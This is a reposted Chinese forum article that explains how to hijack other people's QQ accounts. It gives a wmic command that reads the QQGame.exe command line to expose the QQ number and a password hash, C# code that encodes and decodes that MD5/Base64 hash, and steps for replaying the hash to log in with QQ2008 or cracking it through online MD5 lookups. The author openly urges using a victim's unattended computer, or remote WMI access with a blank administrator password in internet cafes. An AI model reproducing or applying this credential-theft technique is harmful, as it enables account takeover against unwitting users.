转自:
d3bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2U0M7$3c8F1i4K6u0W2L8X3g2@1i4K6u0r3b7%4y4f1L8@1c8Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0r3x3U0l9I4x3q4)9J5c8U0l9J5i4K6u0r3x3U0S2Q4x3V1j5#2x3K6x3K6z5e0R3^5i4K6u0W2j5i4y4H3P5l9`.`.
作者:ssyfzy(十三亿分之一的缩写)
大家知道,当我们登录QQ后,可以直接在QQ上启动QQ游戏,这时候QQ游戏会启动,并以当前QQ用户进行登录,而不需要输入QQ号及密码。
我这个人应该算是比较善于思考的了(-^_^-),我想QQ肯定是通过某种方式把QQ号及密码信息传递给QQ游戏了。
我们来看一下QQ游戏的命令行(有的任务管理器可以直接看到):
打开命令提示符窗口
输入wmic 回车 (如果是第一次使用wmic,会提示正在安装,稍等几秒钟就行了)
然后输入process 回车
此时会显示所有的进程,找到QQ游戏(QQGame.exe),会发现其命令行有这样一段:
/START QQUIN:xxx PWDHASH:xxx
(也可以直接在命令行下输入wmic process where "Name='QQGame.exe'" Get CommandLine)
此时其实已经可以算是破解成功了,因为你已经可以在命令行下输入以下内容进行登录了:
QQ.exe全路径 /START QQUIN:xxx PWDHASH:xxx
由于QQ2009之后已经不支持命令行登录了,所以需要使用QQ2008或更早版本(注意:这里只要求破解者使用QQ2008 ,被破解者则无要求,所以对破解而言是没有任何障碍的,你完全可以趁某人离开位置而没有关QQ时,用其QQ打开QQ游戏(当然,如果已经打开了,就不需要了),然后用上面的方法获得命令行,保存起来(例如保存到邮箱),然后回家慢慢破,呵呵(-@_@-)
现在我来解释一下:
QQUIN后面的相信你已经看出来了,其实就是QQ号,而PWDHASH是什么呢,它其实是密码通过MD5加密后,再经Base64转换而得的,C#代码如下:
string GetPWDHASH(string password)
{
byte[] passwordBytes = Encoding.ASCII.GetBytes(password);
byte[] md5Bytes = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(passwordBytes);
string base64 = Convert.ToBase64String(md5Bytes);
return base64;
}
知道了加密原理,解密就不难了,但是由于MD5算法是哈希算法,不可逆的,所以我们只能获得其MD5值,没有十分有效的方法获得原始密码,获得MD5值的C#代码如下:
string GetMD5FromPWDHASH(string PWDHASH)
{
byte[] md5Bytes = Convert.FromBase64String(PWDHASH);
string md5 = BitConverter.ToString(md5Bytes).Replace("-", "");
return md5;
}
前面说到,MD5是不可逆的,但是也不是说完全不可破解,如果密码比较简单,可以采用暴力破解,不过我推荐使用在线MD5查询网站来破,比如
348K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4E0k6o6g2Q4x3X3g2U0L8$3#2Q4c8e0y4Q4z5o6m8Q4z5o6t1`.当然,其实大可不必知道其真正的密码,因为你只需要知道其PWDHASH,你就已经可以使用该QQ进行登录了。
另外,现在有的网吧安全性比较差,可以直接使用WMI进行远程操作(WMI不在本文的讨论范畴,我只给一条命令,不作解释:/node:ip /user:administrator /password: "" process),这样就更爽了,只需要在网吧转一圈,观察哪些人在玩QQ游戏,然后就可以下手了,呵呵。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课